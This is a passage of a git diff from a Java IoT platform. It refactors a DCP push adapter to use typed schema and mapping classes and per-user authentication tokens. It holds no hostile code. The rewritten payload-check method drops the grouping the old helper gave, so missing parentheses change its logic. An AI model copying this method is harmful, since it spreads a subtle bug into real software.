buildLegacyArrayItem(JSONObject reportData, JSONArray itemFieldMappings, String subDeviceId) { + private JSONObject buildLegacyArrayItem(JSONObject reportData, List itemFieldMappings, String subDeviceId) { Map itemValues = extractItemValues(reportData, itemFieldMappings); Object height = itemValues.get("height"); Object temperature = itemValues.get("temperature"); if (height == null && temperature == null) { return null; } - String heightIdentifier = findIdentifier(itemFieldMappings, "height"); + String heightIdentifier = findIdentifierFromItem(itemFieldMappings, "height"); String epochIdentifier = StringUtils.hasText(heightIdentifier) - ? heightIdentifier : findFirstIdentifier(itemFieldMappings); + ? heightIdentifier : findFirstIdentifierFromItem(itemFieldMappings); Object epoch = resolveEpoch(reportData, epochIdentifier); return buildSensorDataItem(epoch, height, temperature, subDeviceId); } - private Object resolveArrayItemFieldValue(PlatformInstance platform, PlatformDeviceMapping mapping, - JSONObject schemaField, JSONObject reportData, - JSONArray itemFieldMappings, String subDeviceId) { - String source = schemaField.getString("source"); - String fieldName = schemaField.getString("name"); + private Object resolveArrayItemFieldValue(PlatformUserAuth userAuth, PlatformDeviceMapping mapping, + RequestSchemaField schemaField, JSONObject reportData, + List itemFieldMappings, String subDeviceId) { + String source = schemaField.getSource(); + String fieldName = schemaField.getName(); if ("fixed".equals(source)) { - return schemaField.get("value"); + return schemaField.getValue(); } if ("subDeviceId".equals(source)) { return subDeviceId; } if ("ts".equals(source)) { - return resolveTimestampValue(reportData, itemFieldMappings, fieldName, schemaField.getString("contextKey")); + return resolveTimestampValueFromItem(reportData, itemFieldMappings, fieldName, schemaField.getContextKey()); } if ("device".equals(source)) { - return resolveDeviceField(mapping, schemaField.getString("field")); + return resolveDeviceField(mapping, schemaField.getField()); } if ("auth".equals(source)) { - return resolveJsonField(platform.getAuthConfig(), schemaField.getString("field")); + return resolveJsonField(userAuth.getAuthConfig(), schemaField.getField()); } if ("extra".equals(source)) { - return resolveJsonField(platform.getExtraConfig(), schemaField.getString("field")); + return resolveJsonField(userAuth.getExtraConfig(), schemaField.getField()); } if (isThingsModelSource(source)) { - String identifier = findIdentifier(itemFieldMappings, fieldName); + String identifier = findIdentifierFromItem(itemFieldMappings, fieldName); return StringUtils.hasText(identifier) ? reportData.get(identifier) : null; } if ("context".equals(source)) { - String contextKey = schemaField.getString("contextKey"); + String contextKey = schemaField.getContextKey(); if ("reportTime".equals(contextKey) || "epoch".equals(fieldName)) { - return resolveTimestampValue(reportData, itemFieldMappings, fieldName, contextKey); + return resolveTimestampValueFromItem(reportData, itemFieldMappings, fieldName, contextKey); } Object contextValue = reportData.get(contextKey); if (contextValue != null) { @@ -691,33 +667,51 @@ public class DcpPlatformAdapter { return null; } - private JSONObject findArrayFieldSchema(JSONArray requestSchema, String fieldName) { + private RequestSchemaField findArrayFieldSchema(List requestSchema, String fieldName) { if (requestSchema == null || requestSchema.isEmpty() || !StringUtils.hasText(fieldName)) { return null; } - for (int i = 0; i < requestSchema.size(); i++) { - JSONObject schemaField = requestSchema.getJSONObject(i); - if ("array".equalsIgnoreCase(schemaField.getString("type")) - && fieldName.equals(schemaField.getString("name"))) { + for (RequestSchemaField schemaField : requestSchema) { + if ("array".equalsIgnoreCase(schemaField.getType()) + && fieldName.equals(schemaField.getName())) { return schemaField; } } return null; } - private JSONObject findFirstArrayFieldSchema(JSONArray requestSchema) { + private RequestSchemaField findFirstArrayFieldSchema(List requestSchema) { if (requestSchema == null || requestSchema.isEmpty()) { return null; } - for (int i = 0; i < requestSchema.size(); i++) { - JSONObject schemaField = requestSchema.getJSONObject(i); - if ("array".equalsIgnoreCase(schemaField.getString("type"))) { + for (RequestSchemaField schemaField : requestSchema) { + if ("array".equalsIgnoreCase(schemaField.getType())) { return schemaField; } } return null; } + private boolean isThingsModelSource(String source) { + return "thingsModel".equals(source) || "identifier".equals(source); + } + + private boolean hasPayloadDrivenValue(JSONObject body, List requestSchema) { + if (body == null || body.isEmpty() || requestSchema == null || requestSchema.isEmpty()) { + return true; + } + for (RequestSchemaField schemaField : requestSchema) { + if ("array".equalsIgnoreCase(schemaField.getType())) { + continue; + } + if (isThingsModelSource(schemaField.getSource()) || "context".equals(schemaField.getSource()) || "ts".equals(schemaField.getSource()) + && body.containsKey(schemaField.getName())) { + return false; + } + } + return true; + } + private JSONObject copyJsonObject(JSONObject source) { if (source == null || source.isEmpty()) { return new JSONObject(); @@ -725,59 +719,13 @@ public class DcpPlatformAdapter { return JSON.parseObject(source.toJSONString()); } - private boolean hasPayloadDrivenValue(JSONObject body, JSONArray requestSchema) { - if (body == null || body.isEmpty() || requestSchema == null || requestSchema.isEmpty()) { - return true; - } - for (int i = 0; i < requestSchema.size(); i++) { - JSONObject schemaField = requestSchema.getJSONObject(i); - if ("array".equalsIgnoreCase(schemaField.getString("type"))) { - continue; - } - if (usesPayload(schemaField.getString("source")) - && body.containsKey(schemaField.getString("name"))) { - return false; - } - } - return true; - } - - private boolean usesPayload(String source) { - return isThingsModelSource(source) || "context".equals(source) || "ts".equals(source); - } - - private boolean isThingsModelSource(String source) { - return "thingsModel".equals(source) || "identifier".equals(source); - } - - private PlatformInterface loadPushInterface(PlatformDeviceMapping mapping) { - if (mapping.getPushInterfaceId() == null) { - return null; - } - return interfaceMapper.selectById(mapping.getPushInterfaceId()); - } - - private JSONArray loadRequestSchema(PlatformInterface pushInterface) { - if (pushInterface == null || !StringUtils.hasText(pushInterface.getRequestSchema())) { - return null; - } - try { - return JSON.parseArray(pushInterface.getRequestSchema()); - } catch (Exception e) { - log.warn("[DCP] 解析 requestSchema 失败 interfaceId={} err={}", - pushInterface.getId(), e.getMessage()); - return null; - } - } - private String resolvePushPath(PlatformDeviceMapping mapping, PlatformInterface pushInterface) { if (pushInterface != null && StringUtils.hasText(pushInterface.getPath())) { return pushInterface.getPath(); } String sensorType = mapping == null ? null : mapping.getSensorType(); String serialNumber = mapping == null ? null : mapping.getSerialNumber(); - throw new RuntimeException("未配置推送接口,请在设备绑定中选择推送接口" - + ",设备=" + serialNumber + ",传感器类型=" + sensorType); + throw new RuntimeException("未配置推送接口,请在设备绑定中选择推送接口" + ",设备=" + serialNumber + ",传感器类型=" + sensorType); } private String resolveInterfaceCode(String sensorType, PlatformInterface pushInterface) { @@ -787,19 +735,7 @@ public class DcpPlatformAdapter { return "dcp_push_" + sensorType; } - private JSONArray parseJsonArray(String json) { - if (!StringUtils.hasText(json)) { - return null; - } - try { - return JSON.parseArray(json); - } catch (Exception e) { - log.warn("[DCP] 解析 JSON 数组失败: {}", e.getMessage()); - return null; - } - } - - private Object resolveThingsModelValue(JSONObject reportData, JSONArray fieldMappings, + private Object resolveThingsModelValue(JSONObject reportData, List fieldMappings, String platformField, String fallbackKey) { String identifier = findIdentifier(fieldMappings, platformField); if (StringUtils.hasText(identifier)) { @@ -811,7 +747,7 @@ public class DcpPlatformAdapter { return null; } - private Object resolveTimestampValue(JSONObject reportData, JSONArray fieldMappings, + private Object resolveTimestampValue(JSONObject reportData, List fieldMappings, String platformField, String fallbackKey) { String identifier = findIdentifier(fieldMappings, platformField); if (StringUtils.hasText(identifier)) { @@ -827,6 +763,22 @@ public class DcpPlatformAdapter { return nowIsoTimestamp(); } + private Object resolveTimestampValueFromItem(JSONObject reportData, List itemFieldMappings, + String platformField, String fallbackKey) { + String identifier = findIdentifierFromItem(itemFieldMappings, platformField); + if (StringUtils.hasText(identifier)) { + return resolveEpoch(reportData, identifier); + } + if (StringUtils.hasText(fallbackKey) && reportData.containsKey(fallbackKey + "__ts")) { + return resolveEpoch(reportData, fallbackKey); + } + String firstIdentifier = findFirstIdentifierFromItem(itemFieldMappings); + if (StringUtils.hasText(firstIdentifier)) { + return resolveEpoch(reportData, firstIdentifier); + } + return nowIsoTimestamp(); + } + private Object resolveDeviceField(PlatformDeviceMapping mapping, String field) { if (mapping == null || !StringUtils.hasText(field)) { return null; @@ -875,41 +827,61 @@ public class DcpPlatformAdapter { return item; } - private Map extractItemValues(JSONObject reportData, JSONArray itemFieldMappings) { + private Map extractItemValues(JSONObject reportData, + List itemFieldMappings) { Map values = new HashMap<>(); if (itemFieldMappings == null) return values; - for (int i = 0; i < itemFieldMappings.size(); i++) { - JSONObject im = itemFieldMappings.getJSONObject(i); - String platformField = im.getString("platformField"); - String identifier = im.getString("identifier"); - if (StringUtils.hasText(identifier) && StringUtils.hasText(platformField)) { - values.put(platformField, reportData.get(identifier)); + for (ExtraMappingConfig.ItemFieldMapping im : itemFieldMappings) { + if (StringUtils.hasText(im.getIdentifier()) && StringUtils.hasText(im.getPlatformField())) { + values.put(im.getPlatformField(), reportData.get(im.getIdentifier())); } } return values; } - private String findIdentifier(JSONArray itemFieldMappings, String platformField) { + private String findIdentifier(List itemFieldMappings, String platformField) { if (itemFieldMappings == null || !StringUtils.hasText(platformField)) { return null; } - for (int i = 0; i < itemFieldMappings.size(); i++) { - JSONObject im = itemFieldMappings.getJSONObject(i); - if (platformField.equals(im.getString("platformField"))) { - return im.getString("identifier"); + for (FieldMappingItem im : itemFieldMappings) { + if (platformField.equals(im.getPlatformField())) { + return im.getIdentifier(); } } return null; } - private String findFirstIdentifier(JSONArray itemFieldMappings) { + private String findIdentifierFromItem(List itemFieldMappings, String platformField) { + if (itemFieldMappings == null || !StringUtils.hasText(platformField)) { + return null; + } + for (ExtraMappingConfig.ItemFieldMapping im : itemFieldMappings) { + if (platformField.equals(im.getPlatformField())) { + return im.getIdentifier(); + } + } + return null; + } + + private String findFirstIdentifier(List itemFieldMappings) { if (itemFieldMappings == null || itemFieldMappings.isEmpty()) { return null; } - for (int i = 0; i < itemFieldMappings.size(); i++) { - String identifier = itemFieldMappings.getJSONObject(i).getString("identifier"); - if (StringUtils.hasText(identifier)) { - return identifier; + for (FieldMappingItem im : itemFieldMappings) { + if (StringUtils.hasText(im.getIdentifier())) { + return im.getIdentifier(); + } + } + return null; + } + + private String findFirstIdentifierFromItem(List itemFieldMappings) { + if (itemFieldMappings == null || itemFieldMappings.isEmpty()) { + return null; + } + for (ExtraMappingConfig.ItemFieldMapping im : itemFieldMappings) { + if (StringUtils.hasText(im.getIdentifier())) { + return im.getIdentifier(); } } return null; @@ -917,13 +889,13 @@ public class DcpPlatformAdapter { // ==================== HTTP 执行 ==================== - private void doHttpPost(PlatformInstance platform, String url, String bodyStr, PlatformPushLog logEntry) { + private void doHttpPost(PlatformInstance platform, PlatformUserAuth userAuth, PlatformDeviceMapping mapping, String url, String bodyStr, PlatformPushLog logEntry) { long startMs = System.currentTimeMillis(); logEntry.setRequestUrl(url); logEntry.setRequestBody(bodyStr); try { - String token = ensureToken(platform); + String token = ensureToken(platform, userAuth, mapping); Map headers = new HashMap<>(); headers.put("Authorization", "Bearer " + token); headers.put("Content-Type", "application/json"); @@ -1080,10 +1052,10 @@ public class DcpPlatformAdapter { * 当前上报的子设备使用传入的 payload(最新数据),其余子设备从 Redis 缓存读取。 * 推送顺序:从浅到深(与绑定时从深到浅相反)。 */ - private void pushBatchSubDevicesData(PlatformInstance platform, PlatformDeviceMapping mapping, + private void pushBatchSubDevicesData(PlatformInstance platform, PlatformUserAuth userAuth, PlatformDeviceMapping mapping, PlatformDeviceSubMapping currentSubMapping, String reportSerialNumber, String payload, String pushPath, String interfaceCode, - JSONArray requestSchema) { + List requestSchema) { try { // 1. 查询所有子设备。批量推送只依赖子映射顺序和推送接口 schema, // 不再从推送接口 request_schema 读取入网用的 sensorDepths。 @@ -1116,16 +1088,16 @@ public class DcpPlatformAdapter { } // 3. 准备公共参数(复用已有 fieldMapping + requestSchema) - JSONArray fieldMappings = parseJsonArray(mapping.getFieldMapping()); - String fieldName = resolveArrayFieldName(requestSchema, null); - JSONObject extra = null; - if (StringUtils.hasText(mapping.getExtraMapping())) { - extra = JSON.parseObject(mapping.getExtraMapping()); - if (StringUtils.hasText(extra.getString("fieldName"))) { - fieldName = extra.getString("fieldName"); + List fieldMappings = mapping.getFieldMappingParsed(); + String fieldName = resolveArrayFieldName(requestSchema); + List itemFieldMappings = null; + ExtraMappingConfig extra = mapping.getExtraMappingParsed(); + if (extra != null) { + if (StringUtils.hasText(extra.getFieldName())) { + fieldName = extra.getFieldName(); } + itemFieldMappings = extra.getItemFieldMappings(); } - JSONArray itemFieldMappings = extra != null ? extra.getJSONArray("itemFieldMappings") : null; // 解析当前上报子设备的 payload JSONObject currentReportData = parsePayloadToMap(payload); @@ -1149,7 +1121,7 @@ public class DcpPlatformAdapter { } String sensorId = resolveSubDeviceSensorId(sub); - JSONObject sensorDataItem = buildArrayItem(platform, mapping, requestSchema, reportData, fieldName, itemFieldMappings, sensorId); + JSONObject sensorDataItem = buildArrayItem(userAuth, mapping, requestSchema, reportData, fieldName, itemFieldMappings, sensorId); if (sensorDataItem == null || sensorDataItem.isEmpty()) { log.warn("[DCP] 子设备 {} 数据映射为空,跳过其 sensorData", subSn); continue; @@ -1190,7 +1162,7 @@ public class DcpPlatformAdapter { continue; } - JSONObject bodyFields = buildObjectBySchema(platform, mapping, requestSchema, reportData, fieldMappings); + JSONObject bodyFields = buildObjectBySchema(platform, userAuth, mapping, requestSchema, reportData, fieldMappings); JSONArray deviceBodyArr = buildArrayPushBody(mapping, bodyFields, fieldName, sensorDataArr, sub.getPlatformDeviceId()); if (!deviceBodyArr.isEmpty()) { @@ -1207,7 +1179,7 @@ public class DcpPlatformAdapter { // 7. 一次 HTTP 请求推送 String baseUrl = platform.getBaseUrl() + pushPath; PlatformPushLog logEntry = createLogEntry(platform, mapping, interfaceCode, reportSerialNumber); - doHttpPost(platform, baseUrl, JSON.toJSONString(pushBodyArray), logEntry); + doHttpPost(platform, userAuth, mapping, baseUrl, JSON.toJSONString(pushBodyArray), logEntry); pushLogService.asyncSave(logEntry); log.info("[DCP] 批量推送完成 mappingId={} 当前子设备={} 推送设备对象数={}/{}", @@ -1265,49 +1237,39 @@ public class DcpPlatformAdapter { * 优先从 onboard_config 中取 sensorId,否则使用子设备序列号。 */ private String resolveSubDeviceSensorId(PlatformDeviceSubMapping subMapping) { - if (StringUtils.hasText(subMapping.getOnboardConfig())) { - try { - JSONObject config = JSON.parseObject(subMapping.getOnboardConfig()); - String sensorId = config.getString("sensorId"); - if (StringUtils.hasText(sensorId)) { - return sensorId; - } - } catch (Exception e) { - log.debug("[DCP] 解析 onboardConfig 失败 subSn={}", subMapping.getSubSerialNumber()); - } + OnboardConfig config = subMapping.getOnboardConfigParsed(); + if (config != null && StringUtils.hasText(config.getSensorId())) { + return config.getSensorId(); } return subMapping.getSubSerialNumber(); } // ==================== Token 管理 ==================== - private String ensureToken(PlatformInstance platform) { + private String ensureToken(PlatformInstance platform, PlatformUserAuth platformUserAuth, PlatformDeviceMapping mapping) { + + // 校验是否过期 Date now = new Date(); - boolean expired = platform.getTokenExpiresAt() == null - || platform.getTokenExpiresAt().getTime() - now.getTime() < 5 * 60 * 1000L; - if (!StringUtils.hasText(platform.getAccessToken()) || expired) { - PlatformInstance fresh = instanceService.getById(platform.getId()); - boolean stillExpired = fresh.getTokenExpiresAt() == null - || fresh.getTokenExpiresAt().getTime() - now.getTime() < 5 * 60 * 1000L; - if (!StringUtils.hasText(fresh.getAccessToken()) || stillExpired) { - PlatformFlowMapper flowMapper = SpringUtils.getBean(PlatformFlowMapper.class); - PlatformFlow tokenFlow = flowMapper.selectOne( - Wrappers.lambdaQuery() - .eq(PlatformFlow::getPlatformId, fresh.getId()) - .eq(PlatformFlow::getFlowType, 3) - .eq(PlatformFlow::getEnable, "1") - .last("LIMIT 1")); - if (tokenFlow != null) { - FlowContext ctx = new FlowContext(fresh); - flowExecutor.execute(tokenFlow, ctx); - fresh = instanceService.getById(platform.getId()); - } else { - log.warn("[DCP] 平台 {} 未配置 Token 刷新流程(flow_type=3)", fresh.getId()); - } + boolean expired = platformUserAuth.getTokenExpiresAt() == null + || platformUserAuth.getTokenExpiresAt().getTime() - now.getTime() < 5 * 60 * 1000L; + if (!StringUtils.hasText(platformUserAuth.getAccessToken()) || expired) { + // 执行刷新token流程 + PlatformFlowMapper flowMapper = SpringUtils.getBean(PlatformFlowMapper.class); + PlatformFlow tokenFlow = flowMapper.selectOne( + Wrappers.lambdaQuery() + .eq(PlatformFlow::getPlatformId, platform.getId()) + .eq(PlatformFlow::getFlowType, 3) + .eq(PlatformFlow::getEnable, "1") + .last("LIMIT 1")); + if (tokenFlow != null) { + FlowContext ctx = new FlowContext(platform, mapping, platformUserAuth); + flowExecutor.execute(tokenFlow, ctx); + platformUserAuth = platformUserAuthMapper.selectById(mapping.getPlatformUserAuthId()); + } else { + log.warn("[DCP] 平台 {} 未配置 Token 刷新流程(flow_type=3)", platform.getId()); } - platform.setAccessToken(fresh.getAccessToken()); - platform.setTokenExpiresAt(fresh.getTokenExpiresAt()); } - return platform.getAccessToken(); + + return platformUserAuth.getAccessToken(); } } diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformDeviceMapping.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformDeviceMapping.java index fc3d64ab..4ca73f43 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformDeviceMapping.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformDeviceMapping.java @@ -1,16 +1,22 @@ package com.fastbee.iot.platform.domain; +import com.alibaba.fastjson2.JSON; import com.baomidou.mybatisplus.annotation.IdType; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fastbee.iot.platform.model.json.ExtraMappingConfig; +import com.fastbee.iot.platform.model.json.FieldMappingItem; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import org.springframework.util.StringUtils; import java.io.Serializable; import java.util.Date; +import java.util.List; /** * 平台设备绑定关系 @@ -28,6 +34,15 @@ public class PlatformDeviceMapping implements Serializable { @ApiModelProperty("所属平台ID") private Long platformId; + @ApiModelProperty("关联用户认证ID") + private Long platformUserAuthId; + + @ApiModelProperty("DCP项目ID,绑定页面用户自己选择") + private String platformProjectId; + + @ApiModelProperty("DCP项目名称") + private String platformProjectName; + @ApiModelProperty("FastBee设备ID") private Long deviceId; @@ -62,6 +77,40 @@ public class PlatformDeviceMapping implements Serializable { @ApiModelProperty("扩展映射配置,如静力水准子设备编号与DCP sensorId映射") private String extraMapping; + /** fieldMapping 类型安全解析 */ + @TableField(exist = false) + @JsonIgnore + private transient List fieldMappingParsed; + + /** extraMapping 类型安全解析 */ + @TableField(exist = false) + @JsonIgnore + private transient ExtraMappingConfig extraMappingParsed; + + public List getFieldMappingParsed() { + if (fieldMappingParsed == null && StringUtils.hasText(this.fieldMapping)) { + this.fieldMappingParsed = JSON.parseArray(this.fieldMapping, FieldMappingItem.class); + } + return fieldMappingParsed; + } + + public void setFieldMappingParsed(List parsed) { + this.fieldMappingParsed = parsed; + this.fieldMapping = parsed == null ? null : JSON.toJSONString(parsed); + } + + public ExtraMappingConfig getExtraMappingParsed() { + if (extraMappingParsed == null && StringUtils.hasText(this.extraMapping)) { + this.extraMappingParsed = JSON.parseObject(this.extraMapping, ExtraMappingConfig.class); + } + return extraMappingParsed; + } + + public void setExtraMappingParsed(ExtraMappingConfig parsed) { + this.extraMappingParsed = parsed; + this.extraMapping = parsed == null ? null : JSON.toJSONString(parsed); + } + @ApiModelProperty("入网状态(0=未入网,1=已入网)") private Integer netStatus; diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformDeviceSubMapping.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformDeviceSubMapping.java index dc0a538f..830e0576 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformDeviceSubMapping.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformDeviceSubMapping.java @@ -1,12 +1,17 @@ package com.fastbee.iot.platform.domain; +import com.alibaba.fastjson2.JSON; import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fastbee.iot.platform.model.json.OnboardConfig; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import org.springframework.util.StringUtils; import java.io.Serializable; import java.util.Date; @@ -45,6 +50,23 @@ public class PlatformDeviceSubMapping implements Serializable { @ApiModelProperty("入网时传给平台的标识参数(平台相关)") private String onboardConfig; + /** onboardConfig 类型安全解析 */ + @TableField(exist = false) + @JsonIgnore + private transient OnboardConfig onboardConfigParsed; + + public OnboardConfig getOnboardConfigParsed() { + if (onboardConfigParsed == null && StringUtils.hasText(this.onboardConfig)) { + this.onboardConfigParsed = JSON.parseObject(this.onboardConfig, OnboardConfig.class); + } + return onboardConfigParsed; + } + + public void setOnboardConfigParsed(OnboardConfig parsed) { + this.onboardConfigParsed = parsed; + this.onboardConfig = parsed == null ? null : JSON.toJSONString(parsed); + } + @ApiModelProperty("入网状态(0=未入网,1=已入网)") private Integer netStatus; diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformFlowStep.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformFlowStep.java index 131bffc1..7d3dbaf7 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformFlowStep.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformFlowStep.java @@ -1,13 +1,22 @@ package com.fastbee.iot.platform.domain; +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.TypeReference; import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fastbee.iot.platform.model.json.ParamOverrideConfig; +import com.fastbee.iot.platform.model.json.ResultSaveField; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import org.springframework.util.StringUtils; import java.io.Serializable; +import java.util.List; +import java.util.Map; /** * 流程步骤 @@ -40,6 +49,41 @@ public class PlatformFlowStep implements Serializable { @ApiModelProperty("需持久化的出参字段 [{field,saveTo}]") private String resultSave; + /** paramMapping 类型安全解析 */ + @TableField(exist = false) + @JsonIgnore + private transient Map paramMappingParsed; + + /** resultSave 类型安全解析 */ + @TableField(exist = false) + @JsonIgnore + private transient List resultSaveParsed; + + public Map getParamMappingParsed() { + if (paramMappingParsed == null && StringUtils.hasText(this.paramMapping)) { + this.paramMappingParsed = JSON.parseObject(this.paramMapping, + new TypeReference>(){}.getType()); + } + return paramMappingParsed; + } + + public void setParamMappingParsed(Map parsed) { + this.paramMappingParsed = parsed; + this.paramMapping = parsed == null ? null : JSON.toJSONString(parsed); + } + + public List getResultSaveParsed() { + if (resultSaveParsed == null && StringUtils.hasText(this.resultSave)) { + this.resultSaveParsed = JSON.parseArray(this.resultSave, ResultSaveField.class); + } + return resultSaveParsed; + } + + public void setResultSaveParsed(List parsed) { + this.resultSaveParsed = parsed; + this.resultSave = parsed == null ? null : JSON.toJSONString(parsed); + } + @ApiModelProperty("备注") private String remark; } diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformInstance.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformInstance.java index 7feeb526..e2494a1e 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformInstance.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformInstance.java @@ -1,12 +1,17 @@ package com.fastbee.iot.platform.domain; +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; +import com.fasterxml.jackson.annotation.JsonIgnore; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import org.springframework.util.StringUtils; import java.io.Serializable; import java.util.Date; @@ -36,10 +41,11 @@ public class PlatformInstance implements Serializable { @ApiModelProperty("认证类型(1=密码Token,2=ApiKey,3=OAuth2)") private Integer authType; - @ApiModelProperty("认证凭证JSON {userName,password,clientId,scope}") + // ========================= 已弃用 ========================= + @ApiModelProperty("认证配置模板(新增用户时复制){userName,password,clientId,scope}") private String authConfig; - @ApiModelProperty("初始化后保存的平台数据 {userId,projectId,...}") + @ApiModelProperty("平台级配置(站点编码等)") private String extraConfig; @ApiModelProperty("当前有效Token") @@ -51,6 +57,7 @@ public class PlatformInstance implements Serializable { @ApiModelProperty("初始化状态(0=未初始化,1=已初始化)") private Integer initStatus; + // ========================= 已弃用 ========================= @ApiModelProperty("是否启用(0=禁用,1=启用)") private String enable; diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformInterface.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformInterface.java index 10f47e0b..a4a8ded1 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformInterface.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformInterface.java @@ -1,15 +1,22 @@ package com.fastbee.iot.platform.domain; +import com.alibaba.fastjson2.JSON; import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fastbee.iot.platform.model.json.ResponseSchemaField; +import com.fastbee.iot.platform.model.json.RequestSchemaField; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import org.springframework.util.StringUtils; import java.io.Serializable; import java.util.Date; +import java.util.List; /** * 平台接口定义 @@ -48,6 +55,40 @@ public class PlatformInterface implements Serializable { @ApiModelProperty("出参字段定义 JSON") private String responseSchema; + /** requestSchema 类型安全解析 */ + @TableField(exist = false) + @JsonIgnore + private transient List requestSchemaParsed; + + /** responseSchema 类型安全解析 */ + @TableField(exist = false) + @JsonIgnore + private transient List responseSchemaParsed; + + public List getRequestSchemaParsed() { + if (requestSchemaParsed == null && StringUtils.hasText(this.requestSchema)) { + this.requestSchemaParsed = JSON.parseArray(this.requestSchema, RequestSchemaField.class); + } + return requestSchemaParsed; + } + + public void setRequestSchemaParsed(List parsed) { + this.requestSchemaParsed = parsed; + this.requestSchema = parsed == null ? null : JSON.toJSONString(parsed); + } + + public List getResponseSchemaParsed() { + if (responseSchemaParsed == null && StringUtils.hasText(this.responseSchema)) { + this.responseSchemaParsed = JSON.parseArray(this.responseSchema, ResponseSchemaField.class); + } + return responseSchemaParsed; + } + + public void setResponseSchemaParsed(List parsed) { + this.responseSchemaParsed = parsed; + this.responseSchema = parsed == null ? null : JSON.toJSONString(parsed); + } + @ApiModelProperty("排序") private Integer sortOrder; diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformUserAuth.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformUserAuth.java new file mode 100644 index 00000000..c3eee1df --- /dev/null +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/domain/PlatformUserAuth.java @@ -0,0 +1,107 @@ +package com.fastbee.iot.platform.domain; + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.fasterxml.jackson.annotation.JsonIgnore; +import io.swagger.annotations.ApiModel; +import io.swagger.annotations.ApiModelProperty; +import lombok.Data; +import org.springframework.util.StringUtils; + +import java.io.Serializable; +import java.util.Date; + +/** + * 平台用户认证实体 + * 支持一个平台对应多个用户认证 + */ +@ApiModel(value = "PlatformUserAuth", description = "平台用户认证实体") +@Data +@TableName("platform_user_auth") +public class PlatformUserAuth implements Serializable { + private static final long serialVersionUID = 1L; + + @TableId(value = "id", type = IdType.AUTO) + @ApiModelProperty("id") + private Long id; + + @ApiModelProperty("平台实例ID") + private Long platformId; + + @ApiModelProperty("平台侧用户ID(如DCP的userId)") + private String platformUserId; + + @ApiModelProperty("平台侧用户名") + private String platformUserName; + + @ApiModelProperty("用户认证凭证JSON {userName,password,clientId,scope}") + private String authConfig; + + @ApiModelProperty("该用户的Token") + private String accessToken; + + @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @ApiModelProperty("Token过期时间") + private Date tokenExpiresAt; + + @ApiModelProperty("初始化状态(0=未初始化,1=已初始化)") + private Integer initStatus; + + @ApiModelProperty("用户级配置 {projectId,projectName,...}") + private String extraConfig; + + /** authConfig 惰性解析 */ + @TableField(exist = false) + @JsonIgnore + private transient JSONObject authConfigParsed; + + /** extraConfig 